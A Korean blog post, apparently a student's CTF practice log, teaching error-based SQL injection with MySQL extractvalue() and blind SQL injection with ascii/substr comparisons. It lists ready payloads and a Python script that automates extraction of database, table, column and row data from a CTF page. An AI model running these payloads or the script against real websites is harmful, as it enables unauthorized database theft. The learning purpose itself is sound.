SQL Injection의 종류
1. Union SQL Injection
> SQL 질의문 결과가 화면에 출력되는 경우
2. ErrorBased SQL Injection
> 에러메시지가 화면에 출력되는 경우
3. Blind SQL Injection
> 메시지가 출력되지 않는화면, (로그인 / 중복검사)
1. ErrorBased SQL Injection
-오류 기반 SQL Injection
> 데이터베이스의 정보를 추출하기 위해 사용되는 기법으로
로직에러, SQL 에러를 고의적으로 일으켜 에러메세지를 통해 데이터베이스의 정보를 추출하는 기법이다.
> Oracle, Mysql, Mssql / DB마다 로직에러를 일으키는 방법이 다 다르다.
> 대표적으로 Mysql - extractvalue() 함수가 있다.
MYSQL 환경
extractvalue()를 활용한 ErrorBased SQL Injection
* extractvalue() 함수란?
extractvalue(xml_frag, xpath_expr)과 같이 사용되며
xml_frag에 xpath_expr과 xpath가 일치하는 xml 노드를 반환하는 함수다.
실습


1. SQL Injection 포인트 찾기
> SQL 인젝션 공격이 가능함을 확인,
> Error메시지가 화면에 출력됨을 확인 -> ErrorBased SQL Injection

2. extractvalue를 활용하여 고의적으로 로직 에러를 유발 -> 공격 포맷 만들기
> 화면에 보이는 " XPATH syntax error : 'jdleaf' " 구문안에 데이터베이스의 정보를 삽입하여 데이터를 추출한다.
방식은 extractvalue('1',concat(0x3a,(__SQL문구__))) # 를 활용한다.
0x3a는 ' : ' 을 뜻하며 concat함수로 select문구와 합쳐 로직 에러를 유발할 수 있게 도움을 준다.
이후에는 DB이름, TABLE이름, COLUMN이름을 알아내어 데이터베이스 정보를 추출할 수 있다.
Format : normaltic' and extractvalue('1',concat(0x3a,(__SQL문구__))) #

3.DB이름 추출
Keyword : normaltic' and extractvalue('1',concat(0x3a,(select database()))) #
> 데이터베이스 이름은 errSqli 임을 알 수 있다.
4. Table 이름 출력
Keyword : normaltic' and extractvalue('1',concat(0x3a,select table_name from information_schema.tables where table_schema = 'errSqli' limit 0,1))) #
> 한번에 한 행만 출력 될 수 있도록 설정되어 있으므로 limit 0,1문구를 같이 삽입.
5. Column 이름 출력
Keyword : normaltic' andextractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = '__TABLE 이름__' limit 0,1 ))) #
6. 데이터 추출
Keyword : normaltic' and extractvalue('1',concat(0x3a,(select [__COLUMN 이름__] from [__TABLE이름__] limit 0,1))) #
Blind SQL Injection
참과 거짓을 인용하여 값을 추론해나가며 데이터를 추출하는 방식



예를들어 다음과 같다.
해당 페이지는 위 그림과 같이 SQL Injection 공격에 취약한 페이지는 맞지만
데이터가 조회되지 않고 -> UNION SQL Injection 불가
에러메시지가 출력되지 않는다 -> Error Based SQL Injection 불가
이럴때 사용이 가능한 공격이 Blind SQL Injection 공격이다.

SELECT 문을 통해 데이터를 추출할 것이기 때문에 SELECT 문구가 필터링 되어있는지 확인을 해준다.
그 뒤에 방법은 다음과같다
Keyword = normaltic' and (조건문) # 라고할 때
앞의 문구[normaltic]는 True 값
뒤의 and 이후 조건문도 참이 되게 만들어 '존재하는 아이디입니다.' 가 나오게 만들어 데이터를 추출하는 방식이다.
간단히 설명하자면
normaltic' and (데이터베이스 이름 맨 앞자리가 't' 인가요?) #
-> 존재하는 아이디입니다. 라는 문구가 나오면 두의 조건문도 참인 값이므로 데이터베이스 맨 앞글자는 't'라는 것을 알게된다.
공격 FORMAT 만들기
SELECT문구도 필터링되지 않음을 알고, 방법도 알았으니 FORMAT을 만들어 공격을 해보았다.
Blind SQL Injection의 방식은 ASCII 함수와 SUBSTR 함수를 사용한다
substr 함수는 substr('문자',NUM1,NUM2) 와 같이 사용되며
문자열이 있을때 NUM1부터 시작하여 NUM2만큼 데이터를 잘라주는 함수이다
예시)
substr('text',1,1) => 't'
substr('text',1,2) -> 'te'
예를들어 DB이름이 'TEST_TABLE'이라면
substr((select database(),1,1) -> 'T' 라는 값이 나온다.
이걸 ASCII 함수를 활용하여 문자를 정수로 만들어 비교하여 참이 되도록 만들것이다.
같은 예시로 ASCII 코드에서 'T' 는 정수 116인데
ascci(substr((select database(),1,1)) = 116 을 조건문에 넣어주면 참일경우 'T'라는 데이터베이스 이름의 시작은 'T'라는 값인것을 알 수 있게 된다.
공격 FORMAT : normaltic' and (조건문) # => normaltic' and (ascci(substr(([___SQL___],1,1)) > 80) #
실제 실습에서 하나하나 비교하는 과정은 너무 오래걸리므로 업/다운 게임을 하듯이 비교를 통해 값을 얻어주었다.
실습과정


> Repeater로 보내줌.


>100 이 넘어갈경우 False 판정
> DB이름의 첫번째 값은 아스키 코드값으로 80~100 사이에 있음을 알 수 있음.
해당 과정을 통해 DB이름과, TABLE이름, COLUMN이름을 추출하여 데이터를 추출할 수 있게 된다.
이 또한 한 행씩만 출력되므로 limt 문구를 작성해주어야한다.
마지막 데이터를 추출은 Python 코드로 만들어 데이터를 추출해보았다.(이왕하는거 전부 다..)
Blind SQL Injection - Python
[코드] - 길이 검색 함수
import requests
TARGET = "http://ctf.segfaulthub.com:1020/sqlInjection5_1.php"
header = {
"Cookie":"session=a1bd2870-7d4c-4903-9c44-6db2644179eb.oKJG_t9oATFPKX0d1BcfkY0X9Ms",
"Referer":"http://ctf.segfaulthub.com:1020/sqlInjection5_1.php",
"Accept-Encoding":"gzip, deflate, br"
}
print('[i] 1. DB정보 알아내기')
print('[i] 2. Table정보 알아내기')
print('[i] 3. Column정보 알아내기')
print('[i] 4. 데이터 추출하기')
print('[i] 5. lengthTest')
cText = '존재하는 아이디입니다.'
start = int(input('원하는 숫자를 입력해주세요 : '))
query = 'query'
def lengthCheck(Text):
print("[*]Length Check.")
result = 0
for i in range(1,100):
data = {query : Text.format(i,'>',0)}
req = requests.post(TARGET,data=data,headers=header)
if i == 1 and cText not in req.text:
print("[*]존재하지 않는 데이터입니다.")
exit()
if cText in req.text:
result = i
else:
print("[*] Length : ", result)
return(result)
어느정도 길이일지 모르는 값을 임의의 값을 넣어 반복문을 통해 알아내는것은 시간 낭비가 있어서
모든 코드를 작성한 후에 길이를 체크하는 함수를 추가 해주어 길이만큼 반복문을 실행하도록 하였다.
[코드] - 데이터 추출 함수
#Length TEST
# if start ==5:
# Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
# data = {
# query : Text
# }
# KK = lengthCheck(Text)
# print ("KK: ",KK)
#DB정보 알아내기
if start==1:
Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
result = ''
_length = lengthCheck(Text)
for i in range(1,_length+1):
for j in range(65,130):
data = {
query : Text.format(i, '=', j)
}
req = requests.post(TARGET,data=data,headers=header)
if cText in req.text:
print('GET!',chr(j))
result += chr(j)
print(result)
break
print(result)
#Table정보 알아내기
if start ==2:
row = input("몇번째 행의 테이블을 보시겠습니까?[0~n] :")
dbName = input("DB이름을 입력해세요 : ")
Text = "normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema ='"+dbName+"' limit "+row+",1),{},1)) {} {})#"
print(Text)
result =''
_length = lengthCheck(Text)
for i in range(1,_length+1):
for j in range(65,130):
data = {
query: Text.format(i, '=',j)
}
req = requests.post(TARGET,data=data,headers=header)
if cText in req.text:
print('GET!',chr(j))
result += chr(j)
print(result)
break
print(result)
#Column정보 알아내기
if start == 3:
tbName = input("테이블 이름을 입력해주세요 : ")
# row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
for row in range(6):
Text = "normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = '"+tbName+"' limit "+str(row)+",1),{},1)) {} {})#"
result =''
_length = lengthCheck(Text)
for i in range(1,_length+1):
for j in range(65,130):
data = {
query: Text.format(i,'=',j)
}
req = requests.post(TARGET,data=data,headers=header)
if cText in req.text:
print('GET!',chr(j))
result += chr(j)
print(result)
break
print(result)
#데이터 추출하기
if start == 4:
tbName = input("테이블 이름을 입력해주세요 : ")
tbColumn = input("컬럼 이름을 입력해주세요: ")
# row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
for row in range(6):
Text = "normaltic' and (ascii(substr((select "+tbColumn+" from "+tbName+" limit "+str(row)+",1),{},1)) {} {})#"
print(Text)
result =''
_length = lengthCheck(Text)
for i in range(1,_length+1):
for j in range(65,130):
data = {
query : Text.format(i,'=',j)
}
req = requests.post(TARGET,data=data,headers=header)
if cText in req.text:
print('GET!',chr(j))
result += chr(j)
print(result)
break
print(result)
실제 사용


'웹 해킹' 카테고리의 다른 글
| SQL Injection Advanced [Point 찾기] / SQL Injection point 문제풀이코드 (1,2,3,4) (0) | 2025.06.03 |
|---|---|
| SQL Injection 문제 풀이 [3,4,5,6] (0) | 2025.05.27 |
| SQL Injection + 문제 [1,2] + 도박 관리자 (1) | 2025.05.21 |
| 쿠키, 세션 그리고 JWT (0) | 2025.05.19 |
| 게시판 CRUD, 페이징, 검색 (1) | 2025.05.13 |